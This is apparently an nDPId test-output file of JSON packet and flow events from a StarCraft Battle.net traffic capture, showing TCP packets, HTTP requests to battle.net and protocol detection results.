+00418{"flow_id":30,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":441779,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoREFAAIAG6X3AqAFkUO+6FQ28AFBBQIGi4YqKl1AQ+vCqwQAA"} +00418{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":441811,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoREJAAIAG6XzAqAFkUO+6FQ28AFBBQIGi4YqKl1AR+vCqwAAA"} +00418{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":441843,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEYxAAIAGHC7AqAFkUO+6Gg27AFBEOrZCjntL41AR+O0G6QAA"} +00427{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":497262,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoABxAADMGeqNQ77oVwKgBZABQDbzhioqXQUCBo1ARPLho+AAAAAAAAAAA"} +00419{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":319,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":497298,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRERAAIAG6XrAqAFkUO+6FQ28AFBBQIGj4YqKmFAQ+vCqvwAA"} +00427{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":320,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":497815,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoAB1AADMGeqJQ77oVwKgBZABQDbzhioqYQUCBo1AQPLho+AAAAAAAAAAA"} +00426{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":321,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":500677,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoB0BAADMGc3pQ77oawKgBZABQDbuOe0vjRDq2Q1ARPLjDHQAAAAAAAAAA"} +00419{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":500692,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEY5AAIAGHCzAqAFkUO+6Gg27AFBEOrZDjntL5FAQ+O0G6AAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":323,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1437389982130,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"213.248.127.130","src_port":3517,"dst_port":1119,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":130449,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0Zr9AAIAGfH3AqAFk1fh\/gg29BF8F03V0AAAAAIACgABKLQAAAgQFtAEDAwABAQQC"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":324,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1437389982140,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3518,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":140672,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0EY9AAIAGHB\/AqAFkUO+6Gg2+AFAFq5RDAAAAAIACIADZ\/QAAAgQFtAEDAwgBAQQC"} +00426{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":182998,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADIGMUXV+H+CwKgBZARfDb3bZ8BEBdN1dWASFtBArgAAAgQFtAAA"} +00419{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":183063,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoZsBAAIAGfIjAqAFk1fh\/gg29BF8F03V122fARVAQgADvOgAA"} +00426{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":197448,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGerZQ77oawKgBZABQDb7iEHr2BauURGASOQiM8wAAAgQFtAAA"} +00418{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":197512,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEZBAAIAGHCrAqAFkUO+6Gg2+AFAFq5RE4hB691AQ+vDixwAA"} +00605{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":207536,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"hCYVPnXEIImEa8W6CABFAACxEZFAAIAGG6DAqAFkUO+6Gg2+AFAFq5RE4hB691AY+vCboQAAR0VUIC9TMi9lbkdCL2NsaWVudC9hbGVydD9idWlsZD1lbkdCJnRhcmdldFJlZ2lvbj1FVSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogQmF0dGxlLm5ldCBXZWIgQ2xpZW50DQpIb3N0OiBueWR1cy5iYXR0bGUubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00706{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":329,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":4,"flow_first_seen":1437389982140,"flow_last_seen":1437389982207,"flow_tot_l4_data_len":233,"flow_min_l4_data_len":20,"flow_max_l4_data_len":157,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3518,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"nydus.battle.net","url":"nydus.battle.net\/S2\/enGB\/client\/alert?build=enGB&targetRegion=EU","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":264282,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo0FpAADMGql9Q77oawKgBZABQDb7iEHr3BauUzVAQPLigdwAAAAAAAAAA"} +01113{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":264460,"pkt_caplen":573,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":573,"pkt_l4_len":539,"pkt":"IImEa8W6hCYVPnXECABFAAIv0FtAADMGqFdQ77oawKgBZABQDb7iEHr3BauUzVAYPLjHwQAASFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQyIEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTG9jYXRpb246IGh0dHA6Ly9ldS5sYXVuY2hlci5iYXR0bGUubmV0L3NlcnZpY2UvczIvYWxlcnQvZW4tZ2INClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1MZW5ndGg6IDIzNg0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMQ0KWC1QYWQ6IGF2b2lkIGJyb3dzZXIgYnVnDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CjxodG1sPjxoZWFkPgo8dGl0bGU+MzAyIEZvdW5kPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm91bmQ8L2gxPgo8cD5UaGUgZG9jdW1lbnQgaGFzIG1vdmVkIDxhIGhyZWY9Imh0dHA6Ly9ldS5sYXVuY2hlci5iYXR0bGUubmV0L3NlcnZpY2UvczIvYWxlcnQvZW4tZ2IiPmhlcmU8L2E+LjwvcD4KPC9ib2R5PjwvaHRtbD4K"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":332,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1437389982269,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.21","src_port":3519,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":269189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0RElAAIAG6WnAqAFkUO+6FQ2\/AFB8c4vnAAAAAIACIABrlQAAAgQFtAEDAwgBAQQC"} +00560{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":277691,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"hCYVPnXEIImEa8W6CABFAACOZsFAAIAGfCHAqAFk1fh\/gg29BF8F03V122fARVAYgAAxSQAASgAACmYCCu0tZq3I6AoAACmZZLcjoQAARtxDNzK6ACu0twAAZyUMBhcAbWF0dGVvYnJhY2NpMUBnbWFpbC5jb20CMlMAAIzUrFUAAAAAAAAAAAAA\/\/9dOfxp7nY4rwAAAAAAAAAA"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":333,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":4,"flow_first_seen":1437389982130,"flow_last_seen":1437389982277,"flow_tot_l4_data_len":198,"flow_min_l4_data_len":20,"flow_max_l4_data_len":122,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"213.248.127.130","src_port":3517,"dst_port":1119,"l4_proto":"tcp","ndpi": {"proto":"Starcraft","breed":"Fun","category":"Game"}} +00419{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":334,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":285092,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEZNAAIAGHCfAqAFkUO+6Gg2+AFAFq5TN4hB8\/lAQ+OniPgAA"} +00427{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":326953,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGertQ77oVwKgBZABQDb8Q\/FwJfHOL6GASOQgOjQAAAgQFtAAA"} +00419{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":327018,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoREtAAIAG6XPAqAFkUO+6FQ2\/AFB8c4voEPxcClAQ+vBkYQAA"} +00690{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":327086,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"hCYVPnXEIImEa8W6CABFAADwRExAAIAG6KrAqAFkUO+6FQ2\/AFB8c4voEPxcClAY+vB9RQAAR0VUIC9zZXJ2aWNlL3MyL2FsZXJ0L2VuLWdiIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBCYXR0bGUubmV0IFdlYiBDbGllbnQNCkhvc3Q6IGV1LmxhdW5jaGVyLmJhdHRsZS5uZXQNCkFjY2VwdDogKi8qDQpSZWZlcmVyOiBodHRwOi8vbnlkdXMuYmF0dGxlLm5ldC9TMi9lbkdCL2NsaWVudC9hbGVydD9idWlsZD1lbkdCJnRhcmdldFJlZ2lvbj1FVQ0KDQo="} +00693{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":337,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":4,"flow_first_seen":1437389982269,"flow_last_seen":1437389982327,"flow_tot_l4_data_len":296,"flow_min_l4_data_len":20,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.21","src_port":3519,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"eu.launcher.battle.net","url":"eu.launcher.battle.net\/service\/s2\/alert\/en-gb","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":328685,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoalVAADIGxvPV+H+CwKgBZARfDb3bZ8BFBdN121AQFtBYBQAAAAAAAAAA"} +01424{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":353012,"pkt_caplen":797,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":797,"pkt_l4_len":763,"pkt":"IImEa8W6hCYVPnXECABFAAMPalZAADIGxAvV+H+CwKgBZARfDb3bZ8BFBdN121AYFtA2dAAAQhBhdXRoAABFVY6G+90e5RUxXp4+G0ebeIneHs7aBwPZh2+UQc5Nk0V2JAEAVWkLB4w0UIk9yJEQ6yTjmdl2I9+PqOhKZSoix\/bmVgx4WNCjTknfg5z4wJvzE1OBMdrGXOS0cR+nwYpl4ElkGqntlsVmuLgHpUk01IOa0K\/JyONGAAyFZnumepm9S\/lCIPUJF6GJEuDUX6Y4nyhjnLk16ifmmIEWiwufuoTZMU2lwqO\/utcFYSOpcJe\/b2kcYXV0aAAARVU2snzZEbM8YXMKi4LIsklf0W6AJPw7Ld4Ihhx3qFKUHIAA5xb08KAeucAypsE5M1ak92bwZ5SdcQI8DPwGE3GJZu+BTmXMbucMQyp\/iv2KBitSYDoml+hR0jHXLAJ3YUGB1xM2mx6OS+6rcgRamq1F8xnbkY7N24PI74t1EGANOR1F5\/7AvurpBKX5+mIPHM2taZ2EpHOc5mm1pVGDHjliFOE7TIj1c\/XNx4TNAVMMCGtnTAO+tmQDoPh+0Xq7tAPeVM8xvoKKIMVmwi5NQmOqdyILBkTZkkU0W8rCduoGkl65hNZkclw8t1cUCv4S4ny5lvFxWbEFfptYt4u7WhOcn\/YhWg0lC3X8ndQ1ZV3erc1s\/YSAB5LBRrNjMYjs61PSA4wYXgvVGp5scP04rfUw+N9Q+2IFPF6JSJerfdZcesgGZfGOeYm+bjDxXpOXURI9bYpE8DMXUwHRWqrSrqBvrGC6QGWEauk48yscsV8W3A52eSpzMjRolgSAZdF8BZiZ4dIwDkAr0Op0Jl2mpCschU4kcNeyGuSi2ukOYCp1myyg7mELUNU4nbiTNdVFH+dt2FsJ\/VKX1vnvtsNM6IUAf33yDWpSTgw+dy+gSz3S4BTTozenkJQ9rVI8u1RT9P34503+NhvV8lqzGVK0eBSLVw31diZD8yuZT+yZp0fkomWmbuhKU1CewoXIRnlgYEkxT8UmxhtTesgGHHiPi4b1Igg="} +00419{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":372796,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoZsJAAIAGfIbAqAFk1fh\/gg29BF8F03Xb22fDLFAQfRnu1AAA"} +00427{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":385258,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAogR1AADMG+aFQ77oVwKgBZABQDb8Q\/FwKfHOMsFAQPLgh0gAAAAAAAAAA"} +00774{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":385428,"pkt_caplen":317,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":317,"pkt_l4_len":283,"pkt":"IImEa8W6hCYVPnXECABFAAEvgR5AADMG+JlQ77oVwKgBZABQDb8Q\/FwKfHOMsFAYPLinpQAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQyIEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTGFzdC1Nb2RpZmllZDogV2VkLCAwOCBKdWwgMjAxNSAwNjowNjowOSBHTVQNCkVUYWc6ICI3MGFiMThiNy0wLTUxYTU2ZWY1ZTU2NDAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDANCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOA0KDQo="} +00419{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":385519,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRE1AAIAG6XHAqAFkUO+6FQ2\/AFB8c4ywEPxdEVAR+eljmAAA"} +00419{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":385557,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEZdAAIAGHCPAqAFkUO+6Gg2+AFAFq5TN4hB8\/lAR+OniPQAA"} +00426{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":441966,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAo0FxAADMGql1Q77oawKgBZABQDb7iEHz+BauUzlARPLiebgAAAAAAAAAA"} +00420{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":442008,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEZhAAIAGHCLAqAFkUO+6Gg2+AFAFq5TO4hB8\/1AQ+OniPAAA"} +00427{"flow_id":33,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":443216,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAogR9AADMG+Z9Q77oVwKgBZABQDb8Q\/F0RfHOMsVARPLggyQAAAAAAAAAA"} +00419{"flow_id":33,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":443233,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRFBAAIAG6W7AqAFkUO+6FQ2\/AFB8c4yxEPxdElAQ+eljlwAA"} +00669{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":468710,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"hCYVPnXEIImEa8W6CABFAADcZsNAAIAGe9HAqAFk1fh\/gg29BF8F03Xb22fDLFAYfRn9iQAAQgixAem1LITtiEPD549vSYy29271Ytl4oymZHgwghB1nnmgXZCDl05T\/TF\/eVyyeVMOabETnHPH0zK+F3oR6zbY5rhV0yDqJ4w\/5Bhx0Xa5BlsLHO\/bASH7s2zGX93pqJNxEdIpEiivLLosi\/h7Lhvuq+7R2D64lzjnj68eaQXScktbopFcq9InXNTiNeC\/iskcAZaDqzxPROph+\/bX8H3fQXF3uTnOCDclEkDq7tu5A1p8z"} +00781{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389982,"pkt_ts_usec":519333,"pkt_caplen":317,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":317,"pkt_l4_len":283,"pkt":"IImEa8W6hCYVPnXECABFAAEvaldAADIGxerV+H+CwKgBZARfDb3bZ8MsBdN2j1AYGSC7cwAAQhBhdXRoAABFVY6G+90e5RUxXp4+G0ebeIneHs7aBwPZh2+UQc5Nk0V2LAECqaEl\/4aw4jJEDh\/EA7FbMyONe3T+ElShY02rk6VlVeTrv94VRGT6PgCDnPQL0UHOeNgYhGRwXE4kEk9cA\/9p9bqJbEtbnbMWB5Z21Awh0yu1PA77\/N8dtWS\/6Ysv\/TrRwPEAFtFngIhUSVE09CNWKRV0y9G1hcQkKvxbKriLJl8iK7FJG7Yj7UQU\/oljHfyFdZRAzK60sJeK3pC5TXx2MwZNOk85J1d4B0tRg+HV\/z5hdXRoAABFVV4pjlMGmK+QXhJH5R7wsQmzUqwxDOeAKh9jYT25gO0XAAA="} 